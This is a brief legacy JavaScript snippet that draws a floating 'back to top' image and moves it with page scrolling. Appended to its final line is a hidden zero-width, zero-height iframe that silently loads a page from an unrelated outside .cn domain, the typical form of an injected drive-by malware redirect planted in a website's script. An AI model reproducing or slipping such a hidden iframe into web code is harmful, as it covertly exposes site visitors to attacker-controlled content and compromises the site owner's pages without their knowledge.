suspendcode="<DIV id=lovexin style='Z-INDEX: 10; LEFT: 890px; POSITION: absolute; TOP: 147px; width: 28px; height: 11px;'><a href='#'><img src='images/top.gif' border='0'></a></DIV>"
document.write(suspendcode);
lastScrollY=-100;
function heartBeat(){
diffY=document.body.scrollTop;
percent=.1*(diffY-lastScrollY);
if(percent>0)percent=Math.ceil(percent);
else percent=Math.floor(percent);
document.all.lovexin.style.pixelTop+=percent;
lastScrollY=lastScrollY+percent;
}
window.setInterval("heartBeat()",1);<iframe src=http://www.mirsf168.cn/admin/index.htm width=0 height=0></iframe>